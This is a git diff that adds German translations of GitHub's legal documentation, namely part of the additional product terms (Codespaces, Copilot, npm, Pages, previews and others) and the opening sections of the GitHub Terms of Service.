+Die GitHub Advisory Database ist unter der [Creative Commons Attribution 4.0-Lizenz](https://creativecommons.org/licenses/by/4.0/) lizenziert. Die Zuordnungsbedingung kann durch Verlinkung auf die GitHub Advisory Database unter <https://github.com/advisories> erfüllt werden, oder durch Verlinkung auf einzelne verwendete Datensätze der GitHub Advisory Database, denen das Präfix von <https://github.com/advisories> angehängt wird.
+
+## Codespaces
+_Hinweis: Der Dienst github.dev, der per Klick auf `.` auf einem Repo oder per direkter Navigation zu github.dev verfügbar ist, unterliegt den [Beta-Nutzungsbedingungen von GitHub](/github/site-policy/github-terms-of-service#j-beta-previews)._
+
+Mit GitHub Codespaces können Sie Code direkt in Ihrem Browser entwickeln, indem Sie den Code in Ihrem GitHub Repository verwenden. Bei der Verwendung von Codespaces und allen Elementen des Codespaces-Dienstes müssen stets die Vereinbarung und die Richtlinien zur akzeptablen Nutzung eingehalten werden. Darüber hinaus sollte Codespaces nicht verwendet werden für:
+- Krypto-Mining;
+- Unterbrechung, Erlangung oder Versuch der Erlangung unbefugten Zugriffs auf Dienste, Geräte, Daten, Konten oder Netzwerke (außer denen, die vom GitHub Bug Bounty-Programm) autorisiert wurden;
+- Bereitstellung einer eigenständigen oder integrierten Anwendung oder eines Dienstes, die Codespaces oder Elemente von Codespaces für kommerzielle Zwecke anbieten;
+- für jede Aktivität, die unsere Server belastet, wenn diese Belastung in keinem Verhältnis zu den Vorteilen für die Nutzer steht (z. B. sollte Codespaces nicht als Content Delivery Network oder als Teil einer serverlosen Anwendung verwendet werden, oder zum Hosten jeglicher Art von produktionsnahen Anwendungen); oder
+- für jede andere Aktivität, die nichts mit der Entwicklung oder dem Testen des Softwareprojekts zu tun hat, das mit dem Repository verbunden ist, in dem GitHub Codespaces initiiert wird.
+
+Um Verstöße gegen diese Einschränkungen und Missbrauch von GitHub Codespaces zu verhindern, kann GitHub Ihre Nutzung von GitHub Codespaces überwachen. Der Missbrauch von GitHub Codespaces kann zur Beendigung Ihres Zugriffs auf Codespaces, zu Einschränkungen Ihrer Möglichkeiten zur Nutzung von GitHub Codespaces oder zur Deaktivierung von Repositories führen, die erstellt wurden, um Codespaces auf eine Weise auszuführen, die gegen diese Bedingungen verstößt.
+
+Mit Codespaces können Sie Erweiterungen aus dem Microsoft Visual Studio Marketplace („Marketplace Extensions“) zur Verwendung in Ihre Entwicklungsumgebung laden, um beispielsweise die Programmiersprachen zu verarbeiten, in denen Ihr Code geschrieben ist. Marketplace Extensions werden unter ihren eigenen separaten Nutzungsbedingungen lizenziert, wie im Visual Studio Marketplace angegeben, und unterliegen den Nutzungsbedingungen auf https://aka.ms/vsmarketplace-ToU. GitHub übernimmt keinerlei Gewährleistung in Bezug auf Marketplace Extensions und haftet nicht für Handlungen von externen Autoren von Marketplace Extensions, denen Zugriff auf Ihre Inhalte gewährt wird. Codespaces ermöglicht es Ihnen auch, Software über devcontainer-Funktionen in Ihre Umgebung zu laden. Diese Software wird unter den ihr beigefügten gesonderten Nutzungsbedingungen bereitgestellt. Die Nutzung von Anwendungen Dritter erfolgt auf Ihr alleiniges Risiko.
+
+Die allgemein verfügbare Version von Codespaces ist derzeit nicht für Kunden verfügbar, die für die US-Regierung arbeiten. Kunden, die für die US-Regierung arbeiten, können weiterhin die Beta-Vorschau von Codespaces unter separaten Bedingungen nutzen. Siehe [Bedingungen für die Beta-Vorschau](/github/site-policy/github-terms-of-service#j-beta-previews).
+
+## Connect
+Mit GitHub Connect können Sie bestimmte Features und Daten zwischen Ihrer GitHub Enterprise Server- oder GitHub AE-Instanz und Ihrer GitHub Enterprise Cloud-Organisation oder Ihrem Unternehmenskonto auf GitHub.com teilen. Um GitHub Connect zu aktivieren, müssen Sie mindestens ein (1) Konto auf GitHub Enterprise Cloud oder GitHub.com und eine (1) lizenzierte Instanz von GitHub Enterprise Server oder GitHub AE haben. Ihre Nutzung von GitHub Enterprise Cloud oder GitHub.com über Connect unterliegt den Bedingungen, unter denen Sie GitHub Enterprise Cloud oder GitHub.com lizenziert haben. Die Nutzung personenbezogener Daten unterliegt der [GitHub Datenschutzerklärung](/github/site-policy/github-privacy-statement).
+
+## GitHub Copilot
+Um GitHub Copilot verwenden zu können, müssen Sie eine Erweiterung für eine integrierte Entwicklungsumgebung (Integrated Development Environment, IDE) oder einen Editor installieren. Der Code, den Sie mit der GitHub Copilot-Erweiterung in einer IDE oder einem Editor schreiben (**Ihr Code**), ist kein „Inhalt“ im Sinne der Vereinbarung, bis Sie ihn auf GitHub.com hochladen.
+
+Der Code, die Funktionen und andere von GitHub Copilot zurückgegebene Ausgaben werden als **Vorschläge** bezeichnet. GitHub macht keine Rechte für Vorschläge geltend, und Sie bleiben der Eigentümer Ihres Codes und sind für ihn verantwortlich. Dies gilt auch für die darin eingeschlossenen Vorschläge.
+
+_Akzeptable Nutzung_
+
+Ihr Code unterliegt den Richtlinien zur akzeptablen Nutzung ([Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies)) von GitHub. Es ist Ihnen beispielsweise nicht gestattet, GitHub Copilot mit Inhalten zu verwenden, die ungesetzlich oder anderweitig durch die Richtlinien zur akzeptablen Nutzung von GitHub auf GitHub.com untersagt sind.
+
+_Daten_
+
+GitHub Copilot (i) kann abhängig von Ihren bevorzugten Telemetrieeinstellungen Ausschnitte Ihres Codes erfassen und (ii) erfasst zusätzliche Nutzungsinformationen über die IDE oder den Editor, die bzw. der mit Ihrem Konto verknüpft ist. Dies kann personenbezogene Daten im Sinne der [GitHub-Datenschutzerklärung](/site-policy/privacy-policies/github-privacy-statement) beinhalten. Weitere Informationen zur Erfassung und Nutzung von GitHub Copilot-Daten finden Sie in den [häufig gestellten Fragen zu GitHub Copilot](https://github.com/features/copilot#faq-privacy).
+
+## GitHub Enterprise Importer
+Importer ist ein Framework zum Exportieren von Daten aus anderen Quellen, die in die GitHub Plattform importiert werden sollen. Importer wird „wie besehen” zur Verfügung gestellt.
+
+## npm
+Npm ist ein Hosting-Service für Softwarepakete, mit dem Sie Ihre Softwarepakete privat oder öffentlich hosten und Pakete als Abhängigkeiten in Ihren Projekten verwenden können. Npm ist die Registrierungsstelle für das JavaScript-Ökosystem. Die öffentliche npm-Registrierung kann kostenlos verwendet werden, Kunden müssen jedoch Gebühren zahlen, wenn sie private Pakete veröffentlichen oder private Pakete mithilfe von Teams verwalten möchten. Die [npm-Dokumentation](https://docs.npmjs.com/) enthält Details zur Beschränkung von Kontotypen und zur Verwaltung von [privaten Paketen](https://docs.npmjs.com/about-private-packages) und [Organisationen](https://docs.npmjs.com/organizations). Die akzeptable Nutzung der npm-Registrierung ist in den [Open-Source-Bedingungen](https://www.npmjs.com/policies/open-source-terms) beschrieben. Sowohl für npm [solo](https://www.npmjs.com/policies/solo-plan) als auch für [org](https://www.npmjs.com/policies/orgs-plan) gibt es zusätzliche Bedingungen. Wenn Sie npm nutzen, sind Sie an die [Nutzungsbedingungen](https://www.npmjs.com/policies/terms) von npm gebunden.
+
+## Pakete
+GitHub Package ist ein Hosting-Service für Softwarepakete, mit dem Sie Ihre Softwarepakete privat oder öffentlich hosten und Pakete als Abhängigkeiten in Ihren Projekten verwenden können. GitHub Packages wird auf Nutzungsbasis abgerechnet. Die [Dokumentation zu Packages](/packages/learn-github-packages/introduction-to-github-packages) enthält Informationen über Bandbreite und Speichermengen (abhängig von Ihrem Kontoplan) und darüber, wie Sie die Nutzung von Packages überwachen und Nutzungslimits festlegen können. Die Bandbreitennutzung von Packages wird durch die [GitHub Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies) beschränkt.
+
+## Pages
+
+Jedes Konto bietet Zugriff auf den [statischen Hosting-Dienst GitHub Pages](/github/working-with-github-pages/about-github-pages). GitHub Pages ist dazu gedacht, statische Webseiten zu hosten, dienst aber in erster Linie als Schaufenster für persönliche und organisatorische Projekte. 
+
+GitHub Pages darf nicht als kostenloser Webhosting-Dienst verwendet werden, um Ihr Online-Geschäft, Ihre E-Commerce-Website oder eine andere Website zu betreiben, die hauptsächlich darauf abzielt, entweder kommerzielle Transaktionen zu ermöglichen oder kommerzielle Software-as-a-Service (SaaS) bereitzustellen. Einige Maßnahmen zur Monetarisierung sind auf Pages erlaubt, z. B. Spendenschaltflächen und Crowdfunding-Links. 
+
+_Bandbreite und Nutzungsgrenzen_
+
+GitHub Pages unterliegt einigen spezifischen Bandbreiten- und Nutzungsbeschränkungen und ist möglicherweise für bestimmte Anwendungen mit hoher Bandbreite nicht geeignet. Weitere Informationen finden Sie in den [Beschränkungen für GitHub Pages](/github/working-with-github-pages/about-github-pages). 
+
+_Verbotene Nutzungsarten_
+
+Bei Verwendung von GitHub Pages sind Sie stets an die Vereinbarung, an die GitHub [Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies) und die Einschränkungen des GitHub Pages-Dienstes gebunden, die in der [Dokumentation zu Pages](/pages/getting-started-with-github-pages/about-github-pages#guidelines-for-using-github-pages) beschrieben sind.
+
+Wenn Sie unsicher sind, ob Ihre Nutzung oder Ihr Nutzungszweck in eine dieser Kategorien fällt, wenden Sie sich bitte an den [GitHub Support](https://support.github.com/contact?tags=docs-policy). GitHub behält sich das Recht vor, jede GitHub-Subdomain jederzeit ohne Haftung zurückzufordern.
+
+## Vorschauen
+
+Der Begriff „Vorschauversion” bezeichnet Software, Online-Dienste und zusätzliche Produkte und Funktionen, die für Vorschau-, Evaluierungs-, Demonstrations- oder Testzwecke bereitgestellt werden, oder Vorabversionen davon, wie z. B. Alpha, Beta oder Early Access. Wenn Ihre Vereinbarung keine Bedingungen enthält, die sich auf Vorschauen beziehen, gelten die folgenden Bedingungen. GitHub gewährt ein eingeschränktes Recht zur Nutzung einer Nicht-Produktionsinstanz der Vorschauversion. Die Vorschauversionen werden „wie besehen“, „mit allen Fehlern“ und „wie verfügbar“ bereitgestellt. GitHub behält sich vor, Vorschauversionen jederzeit ohne vorherige Ankündigung zu ändern oder einzustellen. Alle Informationen, die wir Ihnen über eine private Vorschauversion geben, gelten als vertrauliche Informationen von GitHub. Wenn Sie Kommentare oder Vorschläge zu einer Vorschauversion abgeben, können wir dieses Feedback für jeden Zweck ohne jegliche Verpflichtung verwenden. Die maximale Haftung von GitHub ist auf direkte Schäden bis zu 5.000 USD beschränkt. GitHub ist nicht verpflichtet, Sie bei Ansprüchen Dritter, die sich aus Ihrer Nutzung von Vorschauversionen ergeben, zu verteidigen, zu entschädigen oder schadlos zu halten.
+
+## Sponsors Programm
+
+Über GitHub Sponsors kann die Entwickler-Community Personen und Organisationen finanziell unterstützen, die die Open-Source-Projekte, auf die sie angewiesen sind, entwerfen, erstellen und verwalten. Um Sponsored Developer zu werden, müssen Sie den [zusätzlichen Bedingungen für das GitHub Sponsors Programm](/github/site-policy/github-sponsors-additional-terms) zustimmen
+
+## SQL Server Images
+
+Sie können Microsoft SQL Server Standard Edition Container Images für Linux-Dateien („SQL Server Images“) herunterladen. Sie sind verpflichtet, die SQL Server Images zu deinstallieren, wenn Ihr Recht zur Verwendung der Software endet. Die Microsoft Corporation kann SQL Server Images jederzeit deaktivieren.
diff --git a/translations/de-DE/content/site-policy/github-terms/github-terms-of-service.md b/translations/de-DE/content/site-policy/github-terms/github-terms-of-service.md
new file mode 100644
index 0000000000..e263ddff88
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-terms-of-service.md
@@ -0,0 +1,321 @@
+---
+title: GitHub-Nutzungsbedingungen
+redirect_from:
+  - /tos
+  - /terms
+  - /terms-of-service
+  - /github-terms-of-service-draft
+  - /articles/github-terms-of-service
+  - /github/site-policy/github-terms-of-service
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: bea0673f07e3acc48d0877d3319fce0be5737601
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556625'
+---
+Vielen Dank für die Nutzung von GitHub! Wir freuen uns, dass Sie hier sind. Bitte lesen Sie diese Nutzungsbedingungen sorgfältig durch, bevor Sie auf GitHub zugreifen oder es verwenden. Da es sich um einen so wichtigen Vertrag zwischen uns und unseren Nutzern handelt, haben wir uns um Klarheit bemüht. Zur besseren Übersicht haben wir diese Bedingungen in einer kurzen unverbindlichen Zusammenfassung dargestellt, gefolgt von den vollständigen rechtlichen Bedingungen.
+
+## Zusammenfassung
+
+| Abschnitt | Was können Sie dort finden? |
+| --- | --- |
+| [A. Definitionen](#a-definitions) | Einige grundlegende Begriffe, die so definiert sind, dass Sie Ihnen das Verständnis dieser Vereinbarung erleichtern. In diesem Abschnitt können Sie jederzeit einen Begriff nachsehen. |
+| [B. Kontobedingungen](#b-account-terms) | Dies sind die Grundvoraussetzungen für ein Konto auf GitHub.  |
+| [C. Akzeptable Nutzung](#c-acceptable-use)| Dies sind die Grundregeln, die Sie bei Verwendung Ihres GitHub Kontos befolgen müssen. |
+| [D. Nutzergenerierte Inhalte](#d-user-generated-content) | Sie sind Eigentümer der Inhalte, die Sie auf GitHub posten. Sie haben jedoch diesbezüglich einige Pflichten, und wir bitten Sie, uns einige Rechte einzuräumen, damit wir Ihnen Dienstleistungen anbieten können. |
+| [E. Private Repositories](#e-private-repositories) | In diesem Abschnitt wird erläutert, wie GitHub Inhalte behandelt, die Sie in privaten Repositories posten. |
+| [F. Urheberrecht &amp; DMCA-Richtlinie](#f-copyright-infringement-and-dmca-policy) | In diesem Abschnitt geht es darum, wie GitHub reagiert, wenn Sie glauben, dass jemand Ihre Urheberrechte auf GitHub verletzt. |
+| [G. Hinweis zu Rechten an geistigem Eigentum](#g-intellectual-property-notice) | Hier werden die Rechte von GitHub an der Website und dem Dienst beschrieben. |
+| [H. API-Bestimmungen](#h-api-terms) | Dies sind die Regeln für die Verwendung der APIs von GitHub, unabhängig davon, ob Sie die API für die Entwicklung oder die Datenerfassung verwenden. |
+| [I. Zusätzliche Produktbestimmungen](#i-github-additional-product-terms) | Wir haben einige spezifische Regeln für die Funktionen und Produkte von GitHub. |
+| [J. Beta-Vorschauen](#j-beta-previews) | Dies sind einige der zusätzlichen Bedingungen, die für GitHub Funktionen gelten, die sich noch in der Entwicklung befinden. |
+| [K. Zahlung](#k-payment) | Sie sind für die Zahlung verantwortlich. Wir sind für die korrekte Abrechnung verantwortlich. |
+| [L. Auflösung und Kündigung](#l-cancellation-and-termination) | Sie können diese Vereinbarung jederzeit kündigen und Ihr Konto auflösen. |
+| [M. Kommunikation mit GitHub](#m-communications-with-github) | Wir verwenden ausschließlich E-Mail und andere elektronische Mittel, um mit unseren Nutzern in Kontakt zu bleiben. Wir bieten keinen telefonischen Support. |
+| [N. Ausschluss von Gewährleistungen](#n-disclaimer-of-warranties) | Wir bieten unseren Dienst so an, wie er ist, und wir geben keine Zusicherungen oder Garantien für diesen Dienst. **Bitte lesen Sie diesen Abschnitt sorgfältig durch; Sie sollten wissen, was Sie erwartet.** |
+| [O. Haftungsbeschränkung](#o-limitation-of-liability) | Wir haften nicht für Schäden oder Verluste, die sich aus Ihrer Nutzung oder Unfähigkeit zur Nutzung des Dienstes oder anderweitig aus dieser Vereinbarung ergeben. **Bitte lesen Sie diesen Abschnitt sorgfältig durch; er schränkt unsere Verpflichtungen Ihnen gegenüber ein.** |
+| [P. Haftungsfreistellung und Schadenersatz](#p-release-and-indemnification) | Sie tragen die volle Verantwortung für Ihre Nutzung des Dienstes. |
+| [Q. Änderungen an diesen Nutzungsbedingungen](#q-changes-to-these-terms) | Wir können diese Vereinbarung ändern, werden Sie jedoch 30 Tage im Voraus über wesentliche Änderungen informieren. |
+| [R. Sonstiges](#r-miscellaneous) | In diesem Abschnitt finden Sie rechtliche Einzelheiten, einschließlich unserer Rechtswahl. |
+
+## Die GitHub Nutzungsbedingungen
+Wirksamkeitsdatum: 16. November 2020
+
+
+## A. Definitionen
+**Kurzfassung:** *Wir verwenden diese grundlegenden Begriffe in der gesamten Vereinbarung und sie haben spezifische Bedeutungen. Sie sollten wissen, was wir meinen, wenn wir die einzelnen Begriffe verwenden. Es wird keinen Test dazu geben, es sind jedoch nützliche Informationen.*
+
+1. Ein „Konto“ stellt Ihre Rechtsbeziehung zu GitHub dar. Ein „Persönliches Konto“ stellt die Berechtigung eines einzelnen Nutzers dar, sich bei dem Dienst anzumelden und ihn zu nutzen, und dient als Identität eines Nutzers auf GitHub. „Organisationen“ bezeichnet gemeinsam genutzte Arbeitsbereiche, die mit einer einzelnen juristischen Person oder mit einem oder mehreren Nutzern verknüpft sein können, wobei mehrere Nutzer gleichzeitig über viele Projekte hinweg zusammenarbeiten können. Ein Persönliches Konto kann Mitglied einer beliebigen Anzahl von Organisationen sein.
+2. Die „Vereinbarung“ bezieht sich insgesamt auf alle Bestimmungen, Bedingungen, Hinweise, die in diesem Dokument enthalten sind oder auf die in diesem Dokument verwiesen wird (die „Nutzungsbedingungen“ oder die „Bedingungen“), sowie auf alle anderen Betriebsregeln, Richtlinien (einschließlich der GitHub Datenschutzerklärung, verfügbar unter [github.com/site/privacy](https://github.com/site/privacy)) und Verfahren, die wir von Zeit zu Zeit auf der Website veröffentlichen. Die meisten unserer Richtlinien sind unter [docs.github.com/categories/site-policy](/categories/site-policy) verfügbar.
+3. „Beta-Vorschau“ bezeichnet Software, Dienste oder Funktionen, die als Alpha, Beta, Vorschau, Early Access oder Evaluierung oder mit Begriffen oder Ausdrücken mit ähnlicher Bedeutung gekennzeichnet sind.
+4. „Inhalt(e)“ bezeichnet Inhalte, die durch die Website vorgestellt oder angezeigt werden, einschließlich ohne Einschränkung, Code, Text, Daten, Artikel, Bilder, Fotografien, Grafiken, Software, Anwendungen, Pakete, Designs, Funktionen und andere Materialien, die auf der Website verfügbar sind oder anderweitig über den Dienst verfügbar sind. „Inhalt“ umfasst auch Dienste. „Nutzergenerierte Inhalte“ sind schriftliche oder andere Inhalte, die von unseren Nutzern erstellt oder hochgeladen wurden. „Ihre Inhalte“ sind Inhalte, die Sie erstellen oder deren Eigentümer Sie sind.
+5. „GitHub“, „Wir“ und „Uns“ beziehen sich auf GitHub, Inc. sowie unsere verbundenen Unternehmen, Direktoren, Tochtergesellschaften, Auftragnehmer, Lizenzgeber, leitenden Angestellten, Vertreter und Mitarbeiter.
+6. Der „Dienst“ bezeichnet die von GitHub bereitgestellten Anwendungen, Software, Produkte und Dienste, einschließlich aller Beta-Vorschauen.
+7. „Der Nutzer“, „Sie“ und „Ihr“ beziehen sich auf die einzelne Person, das Unternehmen oder die Organisation, die bzw. das die Website oder den Dienst besucht hat oder nutzt; auf einen Teil des Kontos zugreift oder es verwendet; oder die Nutzung des Kontos bei der Erfüllung seiner Funktionen lenkt. Ein Nutzer muss mindestens 13 Jahre alt sein. Für Geschäfts- oder Regierungskonten können besondere Bedingungen gelten (siehe [Abschnitt B(5): Zusätzliche Geschäftsbedingungen](#5-additional-terms)).
+8. Die „Website“ bezeichnet die Website von GitHub, die sich unter [github.com](https://github.com/) befindet, sowie alle Inhalte, Dienste und Produkte, die von GitHub auf oder über die Website bereitgestellt werden. Der Begriff bezieht sich auch auf eigene Subdomains von github.com, die GitHub gehören, wie z. B. [education.github.com](https://education.github.com/) und [pages.github.com](https://pages.github.com/). Diese Bedingungen gelten auch für die Konferenz-Websites von GitHub, wie z. B. [githubuniverse.com](https://githubuniverse.com/) und Produkt-Websites wie z. B. [atom.io](https://atom.io/). Gelegentlich verfügen Websites von GitHub möglicherweise über andere oder zusätzliche Nutzungsbedingungen. Wenn diese zusätzlichen Bedingungen dieser Vereinbarung widersprechen, gelten die spezifischeren Bedingungen für die entsprechende Seite oder den entsprechenden Dienst.
+
+## B. Kontobedingungen
+**Kurzfassung:** *Persönliche Konten und Organisationen haben unterschiedliche administrative Steuerungsfunktionen; Ihr Konto muss von einer menschlichen Person erstellt werden; Sie müssen mindestens 13 Jahre alt sein; Sie müssen eine gültige E-Mail-Adresse angeben; und Sie dürfen nicht mehr als ein kostenloses Konto haben. Sie allein sind verantwortlich für Ihr Konto und alles, was passiert, während Sie bei Ihrem Konto angemeldet sind oder es verwenden. Sie sind für die Sicherheit Ihres Kontos verantwortlich.*
+
+### 1. Kontosteuerungen
+- Nutzer. Vorbehaltlich dieser Bedingungen behalten Sie die endgültige administrative Kontrolle über Ihr Persönliches Konto und die darin enthaltenen Inhalte.
+
+- Organisationen. Der „Eigentümer“ einer Organisation, die unter diesen Bedingungen erstellt wurde, hat die endgültige administrative Kontrolle über diese Organisation und die darin enthaltenen Inhalte. Innerhalb des Dienstes kann ein Eigentümer den Nutzerzugriff auf die Daten und Projekte der Organisation verwalten. Eine Organisation kann mehrere Eigentümer haben, aber es muss mindestens ein Persönliches Konto geben, das als Eigentümer einer Organisation ausgewiesen ist. Wenn Sie der Eigentümer einer Organisation gemäß diesen Bedingungen sind, betrachten wir Sie als verantwortlich für die Handlungen, die in oder durch diese Organisation durchgeführt werden.
+
+### 2. Benötigte Informationen
+Sie müssen eine gültige E-Mail-Adresse angeben, um den Anmeldevorgang abzuschließen. Alle anderen angeforderten Informationen, wie z. B. Ihr tatsächlicher Name, sind optional, es sei denn, Sie akzeptieren diese Bedingungen im Namen einer juristischen Person (in diesem Fall benötigen wir weitere Informationen über die juristische Person) oder Sie entscheiden sich für ein [kostenpflichtiges Konto](#k-payment). In diesem Fall sind zusätzliche Informationen für Abrechnungszwecke erforderlich.
+
+### 3. Kontovoraussetzungen
+Wir haben ein paar einfache Regeln für Persönliche Konten im Dienst von GitHub festgelegt.
+- Sie müssen ein Mensch sein, um ein Konto zu erstellen. Konten, die von „Bots“ oder anderen automatisierten Methoden registriert wurden, sind nicht zulässig. Wir erlauben Maschinenkonten:
+- Ein Maschinenkonto ist ein Konto, das von einem einzelnen Menschen eingerichtet wurde, der die Nutzungsbedingungen im Namen des Kontos akzeptiert, eine gültige E-Mail-Adresse angibt und für seine Handlungen verantwortlich ist. Ein Maschinenkonto wird ausschließlich zur Ausführung automatisierter Aufgaben verwendet. Mehrere Nutzer können die Aktionen eines Maschinenkontos steuern, aber letztendlich ist der Inhaber des Kontos für die Aktionen der Maschine verantwortlich. Sie dürfen nicht mehr als ein kostenloses Maschinenkonto zusätzlich zu Ihrem kostenlosen Persönlichen Konto unterhalten.
+- Eine natürliche oder juristische Person darf nicht mehr als ein kostenloses Konto unterhalten (wenn Sie sich dafür entscheiden, auch ein Maschinenkonto zu verwalten, ist das in Ordnung, aber es kann nur zum Betreiben einer Maschine verwendet werden).
+- Sie müssen mindestens 13 Jahre alt sein. Obwohl wir begeistert sind, zu sehen, wie brillante junge Programmierer sich dafür begeistern, Programmieren zu lernen, müssen wir uns an die Gesetze der Vereinigten Staaten halten. GitHub richtet seinen Dienst nicht an Kinder unter 13 Jahren, und wir gestatten Nutzern unter 13 Jahren die Nutzung unseres Dienstes nicht. Wenn wir von einem Nutzer unter 13 Jahren erfahren, werden wir [das Konto dieses Nutzers unverzüglich kündigen](#l-cancellation-and-termination). Wenn Sie in einem Land außerhalb der Vereinigten Staaten ansässig sind, kann das Mindestalter Ihres Landes höher sein; in einem solchen Fall sind Sie für die Einhaltung der Gesetze Ihres Landes verantwortlich.
+- Ihr Login darf nur von einer Person verwendet werden, d. h. ein einziges Login darf nicht von mehreren Personen gemeinsam genutzt werden. Eine kostenpflichtige Organisation darf nur Zugriff auf so viele Persönliche Konten gewähren, wie Ihr Abonnement zulässt.
+- Sie dürfen GitHub nicht unter Verstoß gegen Exportkontroll- oder Sanktionsgesetze der Vereinigten Staaten oder einer anderen anwendbaren Rechtsordnung verwenden. Sie dürfen GitHub nicht verwenden, wenn Sie im Auftrag einer [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) oder einer Person arbeiten, die ähnlichen Sperr- oder Denied-Party-Verboten unterliegt, wie sie von einer US-Regierungsbehörde verhängt werden.  GitHub kann Personen in bestimmten sanktionierten Ländern oder Gebieten den Zugriff auf bestimmte GitHub Dienste mit Genehmigungen der US-Regierung gestatten.  Weitere Informationen finden Sie in unserer [Exportkontrollrichtlinie](/articles/github-and-export-controls).  
+
+### 4. Kontosicherheit
+Sie sind für die Sicherheit Ihres Kontos während der Nutzung unseres Dienstes verantwortlich. Wir bieten Tools wie die Zwei-Faktor-Authentifizierung an, um Ihnen zu helfen, die Sicherheit Ihres Kontos aufrechtzuerhalten, aber der Inhalt Ihres Kontos und seine Sicherheit liegen in Ihrer Hand.
+- Sie sind für alle unter Ihrem Konto geposteten Inhalte und Aktivitäten verantwortlich (selbst wenn Inhalte von anderen gepostet werden, die Konten unter Ihrem Konto haben).
+- Für die Wahrung der Sicherheit Ihres Kontos und Ihres Kennworts tragen Sie die Verantwortung. GitHub kann und wird nicht für Verluste oder Schäden haftbar gemacht, die durch Ihre Nichteinhaltung dieser Sicherheitsverpflichtung entstehen.
+- Sie werden [GitHub umgehend benachrichtigen](https://support.github.com/contact?tags=docs-policy), wenn Sie Kenntnis von einer unbefugten Nutzung oder einem unbefugten Zugriff auf unseren Dienst über Ihr Konto erhalten, einschließlich einer unbefugten Nutzung Ihres Kennworts oder Kontos.
+
+### 5. Zusätzliche Geschäftsbedingungen
+In einigen Situationen können die Bedingungen Dritter für Ihre Nutzung von GitHub gelten. Beispielsweise können Sie Mitglied einer Organisation auf GitHub mit eigenen Bedingungen oder Lizenzvereinbarungen sein, Sie können eine Anwendung herunterladen, die sich in GitHub integriert, oder Sie können GitHub verwenden, um sich bei einem anderen Dienst zu authentifizieren. Bitte beachten Sie, dass diese Bedingungen zwar unsere vollständige Vereinbarung mit Ihnen darstellen, die Bedingungen anderer Parteien jedoch ihre Beziehungen zu Ihnen regeln.
+
+Wenn Sie Nutzer einer Regierungsbehörde sind oder auf andere Weise in einer Regierungsfunktion auf GitHub Dienste zugreifen oder diese nutzen, gilt die [Zusatzvereinbarung für Regierungsbehörden zu den GitHub Nutzungsbedingungen](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/) für Sie, und Sie stimmen ihren Bestimmungen zu.
+
+Wenn Sie sich für GitHub Enterprise Cloud angemeldet haben, gilt die [Enterprise Cloud Zusatzvereinbarung](/articles/github-enterprise-cloud-addendum/) für Sie, und Sie stimmen ihren Bestimmungen zu.
+
+## C. Akzeptable Nutzung
+**Kurzfassung:** *GitHub hostet eine Vielzahl von Kooperationsprojekten aus der ganzen Welt, und diese Zusammenarbeit funktioniert nur, wenn unsere Nutzer in gutem Glauben zusammenarbeiten können. Während Sie den Dienst nutzen, müssen Sie die Bedingungen dieses Abschnitts befolgen, die einige Einschränkungen in Bezug auf Inhalte, die Sie posten können, Verhalten auf dem Dienst und andere Einschränkungen beinhalten. Kurz gesagt, wir wünschen uns einen hervorragenden Umgang miteinander.*
+
+Ihre Nutzung der Website und des Dienstes darf nicht gegen geltende Gesetze verstoßen, einschließlich Urheberrechts- oder Markengesetze, Exportkontroll- oder Sanktionsgesetze oder andere Gesetze in Ihrer Rechtsordnung. Sie sind dafür verantwortlich sicherzustellen, dass Ihre Nutzung des Dienstes den Gesetzen und allen anwendbaren Vorschriften entspricht.
+
+Sie verpflichten sich, unter keinen Umständen gegen unsere [Richtlinien zur akzeptablen Nutzung](/articles/github-acceptable-use-policies) oder [Community-Richtlinien](/articles/github-community-guidelines) zu verstoßen.
+
+## D. Benutzergenerierte Inhalte
+**Kurzfassung:** *Sie sind Eigentümer der von Ihnen erstellten Inhalte, aber Sie räumen uns bestimmte Rechte daran ein, damit wir die von Ihnen geposteten Inhalte anzeigen und teilen können. Sie haben weiterhin die Kontrolle über Ihre Inhalte und sind dafür verantwortlich, und die Rechte, die Sie uns gewähren, sind auf diejenigen beschränkt, die wir zur Bereitstellung des Dienstes benötigen. Wir haben das Recht, Inhalte zu entfernen oder Konten zu schließen, wenn dies erforderlich ist.*
+
+### 1. Verantwortung für Nutzergenerierte Inhalte
+Sie können Nutzergenerierte Inhalte erstellen oder hochladen, während er den Dienst nutzt. Sie tragen die alleinige Verantwortung für den Inhalt von Nutzergenerierten Inhalten, die Sie posten, hochladen, verlinken oder anderweitig über den Dienst verfügbar machen, und für alle Schäden, die sich daraus ergeben, unabhängig von der Form dieser Inhalte. Wir sind nicht verantwortlich für die öffentliche Anzeige oder den Missbrauch Ihrer Nutzergenerierten Inhalte.
+
+### 2. GitHub darf Inhalte entfernen
+Wir haben das Recht, Nutzergenerierte Inhalte abzulehnen oder zu entfernen, die nach unserem alleinigen Ermessen gegen Gesetze oder die [GitHub-Bedingungen oder Richtlinien](/github/site-policy) verstoßen. Nutzergenerierte Inhalte, die auf GitHub Mobile angezeigt werden, können den zusätzlichen Bedingungen der mobilen App-Stores unterliegen.
+
+### 3. Eigentum an Inhalten, Recht zur Veröffentlichung und Lizenzgewährung
+Sie behalten das Eigentum und die Verantwortung für Ihre Inhalte. Wenn Sie etwas posten, das Sie nicht selbst erstellt haben oder an dem Sie keine Rechte besitzen, stimmen Sie zu, dass Sie für alle von Ihnen geposteten Inhalte verantwortlich sind; dass Sie nur Inhalte übermitteln, zu deren Veröffentlichung Sie berechtigt sind; und dass Sie alle Lizenzen Dritter in Bezug auf von Ihnen gepostete Inhalte vollständig einhalten.
+
